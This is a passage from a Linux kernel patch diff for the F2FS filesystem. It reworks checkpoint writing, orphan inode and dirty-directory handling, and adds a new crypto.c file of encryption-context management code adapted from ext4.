orphan_inode_entry, list); + orphan_blk->ino[nentries++] = cpu_to_le32(orphan->ino); if (nentries == F2FS_ORPHANS_PER_BLOCK) { /* @@ -325,29 +588,18 @@ static void write_orphan_inodes(struct f2fs_sb_info *sbi, block_t start_blk) set_page_dirty(page); f2fs_put_page(page, 1); index++; - start_blk++; nentries = 0; page = NULL; } - if (page) - goto page_exist; - - page = grab_meta_page(sbi, start_blk); - orphan_blk = (struct f2fs_orphan_block *)page_address(page); - memset(orphan_blk, 0, sizeof(*orphan_blk)); -page_exist: - orphan_blk->ino[nentries++] = cpu_to_le32(orphan->ino); } - if (!page) - goto end; - orphan_blk->blk_addr = cpu_to_le16(index); - orphan_blk->blk_count = cpu_to_le16(orphan_blocks); - orphan_blk->entry_count = cpu_to_le32(nentries); - set_page_dirty(page); - f2fs_put_page(page, 1); -end: - mutex_unlock(&sbi->orphan_inode_mutex); + if (page) { + orphan_blk->blk_addr = cpu_to_le16(index); + orphan_blk->blk_count = cpu_to_le16(orphan_blocks); + orphan_blk->entry_count = cpu_to_le32(nentries); + set_page_dirty(page); + f2fs_put_page(page, 1); + } } static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, @@ -357,8 +609,8 @@ static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, unsigned long blk_size = sbi->blocksize; struct f2fs_checkpoint *cp_block; unsigned long long cur_version = 0, pre_version = 0; - unsigned int crc = 0; size_t crc_offset; + __u32 crc = 0; /* Read the 1st cp block in this CP pack */ cp_page_1 = get_meta_page(sbi, cp_addr); @@ -369,11 +621,11 @@ static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, if (crc_offset >= blk_size) goto invalid_cp1; - crc = *(unsigned int *)((unsigned char *)cp_block + crc_offset); + crc = le32_to_cpu(*((__le32 *)((unsigned char *)cp_block + crc_offset))); if (!f2fs_crc_valid(crc, cp_block, crc_offset)) goto invalid_cp1; - pre_version = le64_to_cpu(cp_block->checkpoint_ver); + pre_version = cur_cp_version(cp_block); /* Read the 2nd cp block in this CP pack */ cp_addr += le32_to_cpu(cp_block->cp_pack_total_block_count) - 1; @@ -384,11 +636,11 @@ static struct page *validate_checkpoint(struct f2fs_sb_info *sbi, if (crc_offset >= blk_size) goto invalid_cp2; - crc = *(unsigned int *)((unsigned char *)cp_block + crc_offset); + crc = le32_to_cpu(*((__le32 *)((unsigned char *)cp_block + crc_offset))); if (!f2fs_crc_valid(crc, cp_block, crc_offset)) goto invalid_cp2; - cur_version = le64_to_cpu(cp_block->checkpoint_ver); + cur_version = cur_cp_version(cp_block); if (cur_version == pre_version) { *version = cur_version; @@ -410,8 +662,11 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) unsigned long blk_size = sbi->blocksize; unsigned long long cp1_version = 0, cp2_version = 0; unsigned long long cp_start_blk_no; + unsigned int cp_blks = 1 + __cp_payload(sbi); + block_t cp_blk_no; + int i; - sbi->ckpt = kzalloc(blk_size, GFP_KERNEL); + sbi->ckpt = kzalloc(cp_blks * blk_size, GFP_KERNEL); if (!sbi->ckpt) return -ENOMEM; /* @@ -422,7 +677,8 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) cp1 = validate_checkpoint(sbi, cp_start_blk_no, &cp1_version); /* The second checkpoint pack should start at the next segment */ - cp_start_blk_no += 1 << le32_to_cpu(fsb->log_blocks_per_seg); + cp_start_blk_no += ((unsigned long long)1) << + le32_to_cpu(fsb->log_blocks_per_seg); cp2 = validate_checkpoint(sbi, cp_start_blk_no, &cp2_version); if (cp1 && cp2) { @@ -441,6 +697,23 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) cp_block = (struct f2fs_checkpoint *)page_address(cur_page); memcpy(sbi->ckpt, cp_block, blk_size); + if (cp_blks <= 1) + goto done; + + cp_blk_no = le32_to_cpu(fsb->cp_blkaddr); + if (cur_page == cp2) + cp_blk_no += 1 << le32_to_cpu(fsb->log_blocks_per_seg); + + for (i = 1; i < cp_blks; i++) { + void *sit_bitmap_ptr; + unsigned char *ckpt = (unsigned char *)sbi->ckpt; + + cur_page = get_meta_page(sbi, cp_blk_no + i); + sit_bitmap_ptr = page_address(cur_page); + memcpy(ckpt + i * blk_size, sit_bitmap_ptr, blk_size); + f2fs_put_page(cur_page, 1); + } +done: f2fs_put_page(cp1, 1); f2fs_put_page(cp2, 1); return 0; @@ -450,95 +723,128 @@ int get_valid_checkpoint(struct f2fs_sb_info *sbi) return -EINVAL; } -void set_dirty_dir_page(struct inode *inode, struct page *page) +static int __add_dirty_inode(struct inode *inode, struct inode_entry *new) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct list_head *head = &sbi->dir_inode_list; - struct dir_inode_entry *new; - struct list_head *this; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); - if (!S_ISDIR(inode->i_mode)) + if (is_inode_flag_set(F2FS_I(inode), FI_DIRTY_DIR)) + return -EEXIST; + + set_inode_flag(F2FS_I(inode), FI_DIRTY_DIR); + F2FS_I(inode)->dirty_dir = new; + list_add_tail(&new->list, &sbi->dir_inode_list); + stat_inc_dirty_dir(sbi); + return 0; +} + +void update_dirty_page(struct inode *inode, struct page *page) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct inode_entry *new; + int ret = 0; + + if (!S_ISDIR(inode->i_mode) && !S_ISREG(inode->i_mode) && + !S_ISLNK(inode->i_mode)) return; -retry: - new = kmem_cache_alloc(inode_entry_slab, GFP_NOFS); - if (!new) { - cond_resched(); - goto retry; + + if (!S_ISDIR(inode->i_mode)) { + inode_inc_dirty_pages(inode); + goto out; } + + new = f2fs_kmem_cache_alloc(inode_entry_slab, GFP_NOFS); new->inode = inode; INIT_LIST_HEAD(&new->list); spin_lock(&sbi->dir_inode_lock); - list_for_each(this, head) { - struct dir_inode_entry *entry; - entry = list_entry(this, struct dir_inode_entry, list); - if (entry->inode == inode) { - kmem_cache_free(inode_entry_slab, new); - goto out; - } - } - list_add_tail(&new->list, head); - sbi->n_dirty_dirs++; + ret = __add_dirty_inode(inode, new); + inode_inc_dirty_pages(inode); + spin_unlock(&sbi->dir_inode_lock); - BUG_ON(!S_ISDIR(inode->i_mode)); + if (ret) + kmem_cache_free(inode_entry_slab, new); out: - inc_page_count(sbi, F2FS_DIRTY_DENTS); - inode_inc_dirty_dents(inode); SetPagePrivate(page); + f2fs_trace_pid(page); +} + +void add_dirty_dir_inode(struct inode *inode) +{ + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct inode_entry *new = + f2fs_kmem_cache_alloc(inode_entry_slab, GFP_NOFS); + int ret = 0; + + new->inode = inode; + INIT_LIST_HEAD(&new->list); + spin_lock(&sbi->dir_inode_lock); + ret = __add_dirty_inode(inode, new); spin_unlock(&sbi->dir_inode_lock); + + if (ret) + kmem_cache_free(inode_entry_slab, new); } void remove_dirty_dir_inode(struct inode *inode) { - struct f2fs_sb_info *sbi = F2FS_SB(inode->i_sb); - struct list_head *head = &sbi->dir_inode_list; - struct list_head *this; + struct f2fs_sb_info *sbi = F2FS_I_SB(inode); + struct inode_entry *entry; if (!S_ISDIR(inode->i_mode)) return; spin_lock(&sbi->dir_inode_lock); - if (atomic_read(&F2FS_I(inode)->dirty_dents)) - goto out; - - list_for_each(this, head) { - struct dir_inode_entry *entry; - entry = list_entry(this, struct dir_inode_entry, list); - if (entry->inode == inode) { - list_del(&entry->list); - kmem_cache_free(inode_entry_slab, entry); - sbi->n_dirty_dirs--; - break; - } + if (get_dirty_pages(inode) || + !is_inode_flag_set(F2FS_I(inode), FI_DIRTY_DIR)) { + spin_unlock(&sbi->dir_inode_lock); + return; } -out: + + entry = F2FS_I(inode)->dirty_dir; + list_del(&entry->list); + F2FS_I(inode)->dirty_dir = NULL; + clear_inode_flag(F2FS_I(inode), FI_DIRTY_DIR); + stat_dec_dirty_dir(sbi); spin_unlock(&sbi->dir_inode_lock); + kmem_cache_free(inode_entry_slab, entry); + + /* Only from the recovery routine */ + if (is_inode_flag_set(F2FS_I(inode), FI_DELAY_IPUT)) { + clear_inode_flag(F2FS_I(inode), FI_DELAY_IPUT); + iput(inode); + } } void sync_dirty_dir_inodes(struct f2fs_sb_info *sbi) { - struct list_head *head = &sbi->dir_inode_list; - struct dir_inode_entry *entry; + struct list_head *head; + struct inode_entry *entry; struct inode *inode; retry: + if (unlikely(f2fs_cp_error(sbi))) + return; + spin_lock(&sbi->dir_inode_lock); + + head = &sbi->dir_inode_list; if (list_empty(head)) { spin_unlock(&sbi->dir_inode_lock); return; } - entry = list_entry(head->next, struct dir_inode_entry, list); + entry = list_entry(head->next, struct inode_entry, list); inode = igrab(entry->inode); spin_unlock(&sbi->dir_inode_lock); if (inode) { - filemap_flush(inode->i_mapping); + filemap_fdatawrite(inode->i_mapping); iput(inode); } else { /* * We should submit bio, since it exists several * wribacking dentry pages in the freeing inode. */ - f2fs_submit_bio(sbi, DATA, true); + f2fs_submit_merged_bio(sbi, DATA, WRITE); + cond_resched(); } goto retry; } @@ -546,7 +852,7 @@ void sync_dirty_dir_inodes(struct f2fs_sb_info *sbi) /* * Freeze all the FS-operations for checkpoint. */ -static void block_operations(struct f2fs_sb_info *sbi) +static int block_operations(struct f2fs_sb_info *sbi) { struct writeback_control wbc = { .sync_mode = WB_SYNC_ALL, @@ -554,54 +860,94 @@ static void block_operations(struct f2fs_sb_info *sbi) .for_reclaim = 0, }; struct blk_plug plug; + int err = 0; blk_start_plug(&plug); retry_flush_dents: - mutex_lock_all(sbi); - + f2fs_lock_all(sbi); /* write all the dirty dentry pages */ if (get_pages(sbi, F2FS_DIRTY_DENTS)) { - mutex_unlock_all(sbi); + f2fs_unlock_all(sbi); sync_dirty_dir_inodes(sbi); + if (unlikely(f2fs_cp_error(sbi))) { + err = -EIO; + goto out; + } goto retry_flush_dents; } /* - * POR: we should ensure that there is no dirty node pages + * POR: we should ensure that there are no dirty node pages * until finishing nat/sit flush. */ retry_flush_nodes: - mutex_lock(&sbi->node_write); + down_write(&sbi->node_write); if (get_pages(sbi, F2FS_DIRTY_NODES)) { - mutex_unlock(&sbi->node_write); + up_write(&sbi->node_write); sync_node_pages(sbi, 0, &wbc); + if (unlikely(f2fs_cp_error(sbi))) { + f2fs_unlock_all(sbi); + err = -EIO; + goto out; + } goto retry_flush_nodes; } +out: blk_finish_plug(&plug); + return err; } static void unblock_operations(struct f2fs_sb_info *sbi) { - mutex_unlock(&sbi->node_write); - mutex_unlock_all(sbi); + up_write(&sbi->node_write); + f2fs_unlock_all(sbi); +} + +static void wait_on_all_pages_writeback(struct f2fs_sb_info *sbi) +{ + DEFINE_WAIT(wait); + + for (;;) { + prepare_to_wait(&sbi->cp_wait, &wait, TASK_UNINTERRUPTIBLE); + + if (!get_pages(sbi, F2FS_WRITEBACK)) + break; + + io_schedule(); + } + finish_wait(&sbi->cp_wait, &wait); } -static void do_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) +static void do_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); - nid_t last_nid = 0; + struct curseg_info *curseg = CURSEG_I(sbi, CURSEG_WARM_NODE); + struct f2fs_nm_info *nm_i = NM_I(sbi); + unsigned long orphan_num = sbi->im[ORPHAN_INO].ino_num; + nid_t last_nid = nm_i->next_scan_nid; block_t start_blk; - struct page *cp_page; unsigned int data_sum_blocks, orphan_blocks; - unsigned int crc32 = 0; - void *kaddr; + __u32 crc32 = 0; int i; + int cp_payload_blks = __cp_payload(sbi); + block_t discard_blk = NEXT_FREE_BLKADDR(sbi, curseg); + bool invalidate = false; + + /* + * This avoids to conduct wrong roll-forward operations and uses + * metapages, so should be called prior to sync_meta_pages below. + */ + if (discard_next_dnode(sbi, discard_blk)) + invalidate = true; /* Flush all the NAT/SIT pages */ - while (get_pages(sbi, F2FS_DIRTY_META)) + while (get_pages(sbi, F2FS_DIRTY_META)) { sync_meta_pages(sbi, META, LONG_MAX); + if (unlikely(f2fs_cp_error(sbi))) + return; + } next_free_nid(sbi, &last_nid); @@ -612,7 +958,7 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) ckpt->elapsed_time = cpu_to_le64(get_mtime(sbi)); ckpt->valid_block_count = cpu_to_le64(valid_user_blocks(sbi)); ckpt->free_segment_count = cpu_to_le32(free_segments(sbi)); - for (i = 0; i < 3; i++) { + for (i = 0; i < NR_CURSEG_NODE_TYPE; i++) { ckpt->cur_node_segno[i] = cpu_to_le32(curseg_segno(sbi, i + CURSEG_HOT_NODE)); ckpt->cur_node_blkoff[i] = @@ -620,7 +966,7 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) ckpt->alloc_type[i + CURSEG_HOT_NODE] = curseg_alloc_type(sbi, i + CURSEG_HOT_NODE); } - for (i = 0; i < 3; i++) { + for (i = 0; i < NR_CURSEG_DATA_TYPE; i++) { ckpt->cur_data_segno[i] = cpu_to_le32(curseg_segno(sbi, i + CURSEG_HOT_DATA)); ckpt->cur_data_blkoff[i] = @@ -634,74 +980,89 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) ckpt->next_free_nid = cpu_to_le32(last_nid); /* 2 cp + n data seg summary + orphan inode blocks */ - data_sum_blocks = npages_for_summary_flush(sbi); - if (data_sum_blocks < 3) + data_sum_blocks = npages_for_summary_flush(sbi, false); + if (data_sum_blocks < NR_CURSEG_DATA_TYPE) set_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); else clear_ckpt_flags(ckpt, CP_COMPACT_SUM_FLAG); - orphan_blocks = (sbi->n_orphans + F2FS_ORPHANS_PER_BLOCK - 1) - / F2FS_ORPHANS_PER_BLOCK; - ckpt->cp_pack_start_sum = cpu_to_le32(1 + orphan_blocks); + orphan_blocks = GET_ORPHAN_BLOCKS(orphan_num); + ckpt->cp_pack_start_sum = cpu_to_le32(1 + cp_payload_blks + + orphan_blocks); - if (is_umount) { + if (__remain_node_summaries(cpc->reason)) + ckpt->cp_pack_total_block_count = cpu_to_le32(F2FS_CP_PACKS+ + cp_payload_blks + data_sum_blocks + + orphan_blocks + NR_CURSEG_NODE_TYPE); + else + ckpt->cp_pack_total_block_count = cpu_to_le32(F2FS_CP_PACKS + + cp_payload_blks + data_sum_blocks + + orphan_blocks); + + if (cpc->reason == CP_UMOUNT) set_ckpt_flags(ckpt, CP_UMOUNT_FLAG); - ckpt->cp_pack_total_block_count = cpu_to_le32(2 + - data_sum_blocks + orphan_blocks + NR_CURSEG_NODE_TYPE); - } else { + else clear_ckpt_flags(ckpt, CP_UMOUNT_FLAG); - ckpt->cp_pack_total_block_count = cpu_to_le32(2 + - data_sum_blocks + orphan_blocks); - } - if (sbi->n_orphans) + if (cpc->reason == CP_FASTBOOT) + set_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); + else + clear_ckpt_flags(ckpt, CP_FASTBOOT_FLAG); + + if (orphan_num) set_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); else clear_ckpt_flags(ckpt, CP_ORPHAN_PRESENT_FLAG); + if (is_sbi_flag_set(sbi, SBI_NEED_FSCK)) + set_ckpt_flags(ckpt, CP_FSCK_FLAG); + /* update SIT/NAT bitmap */ get_sit_bitmap(sbi, __bitmap_ptr(sbi, SIT_BITMAP)); get_nat_bitmap(sbi, __bitmap_ptr(sbi, NAT_BITMAP)); crc32 = f2fs_crc32(ckpt, le32_to_cpu(ckpt->checksum_offset)); - *(__le32 *)((unsigned char *)ckpt + - le32_to_cpu(ckpt->checksum_offset)) + *((__le32 *)((unsigned char *)ckpt + + le32_to_cpu(ckpt->checksum_offset))) = cpu_to_le32(crc32); start_blk = __start_cp_addr(sbi); + /* need to wait for end_io results */ + wait_on_all_pages_writeback(sbi); + if (unlikely(f2fs_cp_error(sbi))) + return; + /* write out checkpoint buffer at block 0 */ - cp_page = grab_meta_page(sbi, start_blk++); - kaddr = page_address(cp_page); - memcpy(kaddr, ckpt, (1 << sbi->log_blocksize)); - set_page_dirty(cp_page); - f2fs_put_page(cp_page, 1); + update_meta_page(sbi, ckpt, start_blk++); - if (sbi->n_orphans) { + for (i = 1; i < 1 + cp_payload_blks; i++) + update_meta_page(sbi, (char *)ckpt + i * F2FS_BLKSIZE, + start_blk++); + + if (orphan_num) { write_orphan_inodes(sbi, start_blk); start_blk += orphan_blocks; } write_data_summaries(sbi, start_blk); start_blk += data_sum_blocks; - if (is_umount) { + if (__remain_node_summaries(cpc->reason)) { write_node_summaries(sbi, start_blk); start_blk += NR_CURSEG_NODE_TYPE; } /* writeout checkpoint block */ - cp_page = grab_meta_page(sbi, start_blk); - kaddr = page_address(cp_page); - memcpy(kaddr, ckpt, (1 << sbi->log_blocksize)); - set_page_dirty(cp_page); - f2fs_put_page(cp_page, 1); + update_meta_page(sbi, ckpt, start_blk); /* wait for previous submitted node/meta pages writeback */ - while (get_pages(sbi, F2FS_WRITEBACK)) - congestion_wait(BLK_RW_ASYNC, HZ / 50); + wait_on_all_pages_writeback(sbi); + + if (unlikely(f2fs_cp_error(sbi))) + return; - filemap_fdatawait_range(sbi->node_inode->i_mapping, 0, LONG_MAX); - filemap_fdatawait_range(sbi->meta_inode->i_mapping, 0, LONG_MAX); + filemap_fdatawait_range(NODE_MAPPING(sbi), 0, LONG_MAX); + filemap_fdatawait_range(META_MAPPING(sbi), 0, LONG_MAX); /* update user_block_counts */ sbi->last_valid_block_count = sbi->total_valid_block_count; @@ -710,69 +1071,113 @@ static void do_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) /* Here, we only have one bio having CP pack */ sync_meta_pages(sbi, META_FLUSH, LONG_MAX); - if (!is_set_ckpt_flags(ckpt, CP_ERROR_FLAG)) { - clear_prefree_segments(sbi); - F2FS_RESET_SB_DIRT(sbi); - } + /* wait for previous submitted meta pages writeback */ + wait_on_all_pages_writeback(sbi); + + /* + * invalidate meta page which is used temporarily for zeroing out + * block at the end of warm node chain. + */ + if (invalidate) + invalidate_mapping_pages(META_MAPPING(sbi), discard_blk, + discard_blk); + + release_dirty_inode(sbi); + + if (unlikely(f2fs_cp_error(sbi))) + return; + + clear_prefree_segments(sbi, cpc); + clear_sbi_flag(sbi, SBI_IS_DIRTY); } /* - * We guarantee that this checkpoint procedure should not fail. + * We guarantee that this checkpoint procedure will not fail. */ -void write_checkpoint(struct f2fs_sb_info *sbi, bool is_umount) +void write_checkpoint(struct f2fs_sb_info *sbi, struct cp_control *cpc) { struct f2fs_checkpoint *ckpt = F2FS_CKPT(sbi); unsigned long long ckpt_ver; - trace_f2fs_write_checkpoint(sbi->sb, is_umount, "start block_ops"); - mutex_lock(&sbi->cp_mutex); - block_operations(sbi); - trace_f2fs_write_checkpoint(sbi->sb, is_umount, "finish block_ops"); + if (!is_sbi_flag_set(sbi, SBI_IS_DIRTY) && + (cpc->reason == CP_FASTBOOT || cpc->reason == CP_SYNC || + (cpc->reason == CP_DISCARD && !sbi->discard_blks))) + goto out; + if (unlikely(f2fs_cp_error(sbi))) + goto out; + if (f2fs_readonly(sbi->sb)) + goto out; + + trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "start block_ops"); + + if (block_operations(sbi)) + goto out; + + trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "finish block_ops"); - f2fs_submit_bio(sbi, DATA, true); - f2fs_submit_bio(sbi, NODE, true); - f2fs_submit_bio(sbi, META, true); + f2fs_submit_merged_bio(sbi, DATA, WRITE); + f2fs_submit_merged_bio(sbi, NODE, WRITE); + f2fs_submit_merged_bio(sbi, META, WRITE); /* * update checkpoint pack index * Increase the version number so that * SIT entries and seg summaries are written at correct place */ - ckpt_ver = le64_to_cpu(ckpt->checkpoint_ver); + ckpt_ver = cur_cp_version(ckpt); ckpt->checkpoint_ver = cpu_to_le64(++ckpt_ver); /* write cached NAT/SIT entries to NAT/SIT area */ flush_nat_entries(sbi); - flush_sit_entries(sbi); + flush_sit_entries(sbi, cpc); /* unlock all the fs_lock[] in do_checkpoint() */ - do_checkpoint(sbi, is_umount); + do_checkpoint(sbi, cpc); unblock_operations(sbi); - mutex_unlock(&sbi->cp_mutex); + stat_inc_cp_count(sbi->stat_info); + + if (cpc->reason == CP_RECOVERY) + f2fs_msg(sbi->sb, KERN_NOTICE, + "checkpoint: version = %llx", ckpt_ver); - trace_f2fs_write_checkpoint(sbi->sb, is_umount, "finish checkpoint"); + /* do checkpoint periodically */ + sbi->cp_expires = round_jiffies_up(jiffies + HZ * sbi->cp_interval); +out: + mutex_unlock(&sbi->cp_mutex); + trace_f2fs_write_checkpoint(sbi->sb, cpc->reason, "finish checkpoint"); } -void init_orphan_info(struct f2fs_sb_info *sbi) +void init_ino_entry_info(struct f2fs_sb_info *sbi) { - mutex_init(&sbi->orphan_inode_mutex); - INIT_LIST_HEAD(&sbi->orphan_inode_list); - sbi->n_orphans = 0; + int i; + + for (i = 0; i < MAX_INO_ENTRY; i++) { + struct inode_management *im = &sbi->im[i]; + + INIT_RADIX_TREE(&im->ino_root, GFP_ATOMIC); + spin_lock_init(&im->ino_lock); + INIT_LIST_HEAD(&im->ino_list); + im->ino_num = 0; + } + + sbi->max_orphans = (sbi->blocks_per_seg - F2FS_CP_PACKS - + NR_CURSEG_TYPE - __cp_payload(sbi)) * + F2FS_ORPHANS_PER_BLOCK; } int __init create_checkpoint_caches(void) { - orphan_entry_slab = f2fs_kmem_cache_create("f2fs_orphan_entry", - sizeof(struct orphan_inode_entry), NULL); - if (unlikely(!orphan_entry_slab)) + ino_entry_slab = f2fs_kmem_cache_create("f2fs_ino_entry", + sizeof(struct ino_entry)); + if (!ino_entry_slab) return -ENOMEM; - inode_entry_slab = f2fs_kmem_cache_create("f2fs_dirty_dir_entry", - sizeof(struct dir_inode_entry), NULL); - if (unlikely(!inode_entry_slab)) { - kmem_cache_destroy(orphan_entry_slab); + inode_entry_slab = f2fs_kmem_cache_create("f2fs_inode_entry", + sizeof(struct inode_entry)); + if (!inode_entry_slab) { + kmem_cache_destroy(ino_entry_slab); return -ENOMEM; } return 0; @@ -780,6 +1185,6 @@ int __init create_checkpoint_caches(void) void destroy_checkpoint_caches(void) { - kmem_cache_destroy(orphan_entry_slab); + kmem_cache_destroy(ino_entry_slab); kmem_cache_destroy(inode_entry_slab); } diff --git a/fs/f2fs/crypto.c b/fs/f2fs/crypto.c new file mode 100644 index 0000000000000..4a62ef14e9327 --- /dev/null +++ b/fs/f2fs/crypto.c @@ -0,0 +1,491 @@ +/* + * linux/fs/f2fs/crypto.c + * + * Copied from linux/fs/ext4/crypto.c + * + * Copyright (C) 2015, Google, Inc. + * Copyright (C) 2015, Motorola Mobility + * + * This contains encryption functions for f2fs + * + * Written by Michael Halcrow, 2014. + * + * Filename encryption additions + * Uday Savagaonkar, 2014 + * Encryption policy handling additions + * Ildar Muslukhov, 2014 + * Remove ext4_encrypted_zeroout(), + * add f2fs_restore_and_release_control_page() + * Jaegeuk Kim, 2015. + * + * This has not yet undergone a rigorous security audit. + * + * The usage of AES-XTS should conform to recommendations in NIST + * Special Publication 800-38E and IEEE P1619/D16. + */ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "f2fs.h" +#include "xattr.h" + +/* Encryption added and removed here! (L: */ + +static unsigned int num_prealloc_crypto_pages = 32; +static unsigned int num_prealloc_crypto_ctxs = 128; + +module_param(num_prealloc_crypto_pages, uint, 0444); +MODULE_PARM_DESC(num_prealloc_crypto_pages, + "Number of crypto pages to preallocate"); +module_param(num_prealloc_crypto_ctxs, uint, 0444); +MODULE_PARM_DESC(num_prealloc_crypto_ctxs, + "Number of crypto contexts to preallocate"); + +static mempool_t *f2fs_bounce_page_pool; + +static LIST_HEAD(f2fs_free_crypto_ctxs); +static DEFINE_SPINLOCK(f2fs_crypto_ctx_lock); + +static struct workqueue_struct *f2fs_read_workqueue; +static DEFINE_MUTEX(crypto_init); + +static struct kmem_cache *f2fs_crypto_ctx_cachep; +struct kmem_cache *f2fs_crypt_info_cachep; + +/** + * f2fs_release_crypto_ctx() - Releases an encryption context + * @ctx: The encryption context to release. + * + * If the encryption context was allocated from the pre-allocated pool, returns + * it to that pool. Else, frees it. + * + * If there's a bounce page in the context, this frees that. + */ +void f2fs_release_crypto_ctx(struct f2fs_crypto_ctx *ctx) +{ + unsigned long flags; + + if (ctx->flags & F2FS_WRITE_PATH_FL && ctx->w.bounce_page) { + mempool_free(ctx->w.bounce_page, f2fs_bounce_page_pool); + ctx->w.bounce_page = NULL; + } + ctx->w.control_page = NULL; + if (ctx->flags & F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL) { + kmem_cache_free(f2fs_crypto_ctx_cachep, ctx); + } else { + spin_lock_irqsave(&f2fs_crypto_ctx_lock, flags); + list_add(&ctx->free_list, &f2fs_free_crypto_ctxs); + spin_unlock_irqrestore(&f2fs_crypto_ctx_lock, flags); + } +} + +/** + * f2fs_get_crypto_ctx() - Gets an encryption context + * @inode: The inode for which we are doing the crypto + * + * Allocates and initializes an encryption context. + * + * Return: An allocated and initialized encryption context on success; error + * value or NULL otherwise. + */ +struct f2fs_crypto_ctx *f2fs_get_crypto_ctx(struct inode *inode) +{ + struct f2fs_crypto_ctx *ctx = NULL; + unsigned long flags; + struct f2fs_crypt_info *ci = F2FS_I(inode)->i_crypt_info; + + if (ci == NULL) + return ERR_PTR(-ENOKEY); + + /* + * We first try getting the ctx from a free list because in + * the common case the ctx will have an allocated and + * initialized crypto tfm, so it's probably a worthwhile + * optimization. For the bounce page, we first try getting it + * from the kernel allocator because that's just about as fast + * as getting it from a list and because a cache of free pages + * should generally be a "last resort" option for a filesystem + * to be able to do its job. + */ + spin_lock_irqsave(&f2fs_crypto_ctx_lock, flags); + ctx = list_first_entry_or_null(&f2fs_free_crypto_ctxs, + struct f2fs_crypto_ctx, free_list); + if (ctx) + list_del(&ctx->free_list); + spin_unlock_irqrestore(&f2fs_crypto_ctx_lock, flags); + if (!ctx) { + ctx = kmem_cache_zalloc(f2fs_crypto_ctx_cachep, GFP_NOFS); + if (!ctx) + return ERR_PTR(-ENOMEM); + ctx->flags |= F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL; + } else { + ctx->flags &= ~F2FS_CTX_REQUIRES_FREE_ENCRYPT_FL; + } + ctx->flags &= ~F2FS_WRITE_PATH_FL; + return ctx; +} + +/* + * Call f2fs_decrypt on every single page, reusing the encryption + * context. + */ +static void completion_pages(struct work_struct *work) +{ + struct f2fs_crypto_ctx *ctx = + container_of(work, struct f2fs_crypto_ctx, r.work); + struct bio *bio = ctx->r.bio; + struct bio_vec *bv; + int i; + + bio_for_each_segment_all(bv, bio, i) { + struct page *page = bv->bv_page; + int ret = f2fs_decrypt(ctx, page); + + if (ret) { + WARN_ON_ONCE(1); + SetPageError(page); + } else + SetPageUptodate(page); + unlock_page(page); + } + f2fs_release_crypto_ctx(ctx); + bio_put(bio); +} + +void f2fs_end_io_crypto_work(struct f2fs_crypto_ctx *ctx, struct bio *bio) +{ + INIT_WORK(&ctx->r.work, completion_pages); + ctx->r.bio = bio; + queue_work(f2fs_read_workqueue, &ctx->r.work); +} + +static void f2fs_crypto_destroy(void) +{ + struct f2fs_crypto_ctx *pos, *n; + + list_for_each_entry_safe(pos, n, &f2fs_free_crypto_ctxs, free_list) + kmem_cache_free(f2fs_crypto_ctx_cachep, pos); + INIT_LIST_HEAD(&f2fs_free_crypto_ctxs); + if (f2fs_bounce_page_pool) + mempool_destroy(f2fs_bounce_page_pool); + f2fs_bounce_page_pool = NULL; +} + +/** + * f2fs_crypto_initialize() - Set up for f2fs encryption. + * + * We only call this when we start accessing encrypted files, since it + * results in memory getting allocated that wouldn't otherwise be used. + * + * Return: Zero on success, non-zero otherwise. + */ +int f2fs_crypto_initialize(void) +{ + int i, res = -ENOMEM; + + if (f2fs_bounce_page_pool) + return 0; + + mutex_lock(&crypto_init); + if (f2fs_bounce_page_pool) + goto already_initialized; + + for (i = 0; i < num_prealloc_crypto_ctxs; i++) { + struct f2fs_crypto_ctx *ctx; + + ctx = kmem_cache_zalloc(f2fs_crypto_ctx_cachep, GFP_KERNEL); + if (!ctx) + goto fail; + list_add(&ctx->free_list, &f2fs_free_crypto_ctxs); + } + + /* must be allocated at the last step to avoid race condition above */ + f2fs_bounce_page_pool = + mempool_create_page_pool(num_prealloc_crypto_pages, 0); + if (!f2fs_bounce_page_pool) + goto fail; + +already_initialized: + mutex_unlock(&crypto_init); + return 0; +fail: + f2fs_crypto_destroy(); + mutex_unlock(&crypto_init); + return res; +} + +/** + * f2fs_exit_crypto() - Shutdown the f2fs encryption system + */ +void f2fs_exit_crypto(void) +{ + f2fs_crypto_destroy(); + + if (f2fs_read_workqueue) + destroy_workqueue(f2fs_read_workqueue); + if (f2fs_crypto_ctx_cachep) + kmem_cache_destroy(f2fs_crypto_ctx_cachep); + if (f2fs_crypt_info_cachep) + kmem_cache_destroy(f2fs_crypt_info_cachep); +} + +int __init f2fs_init_crypto(void) +{ + int res = -ENOMEM; + + f2fs_read_workqueue = alloc_workqueue("f2fs_crypto", WQ_HIGHPRI, 0); + if (!f2fs_read_workqueue) + goto fail; + + f2fs_crypto_ctx_cachep = KMEM_CACHE(f2fs_crypto_ctx, + SLAB_RECLAIM_ACCOUNT); + if (!f2fs_crypto_ctx_cachep) + goto fail; + + f2fs_crypt_info_cachep = KMEM_CACHE(f2fs_crypt_info, + SLAB_RECLAIM_ACCOUNT); + if (!f2fs_crypt_info_cachep) + goto fail; + + return 0; +fail: + f2fs_exit_crypto(); + return res; +} + +void f2fs_restore_and_release_control_page(struct page **page) +{ + struct f2fs_crypto_ctx *ctx; + struct page *bounce_page; + + /* The bounce data pages are 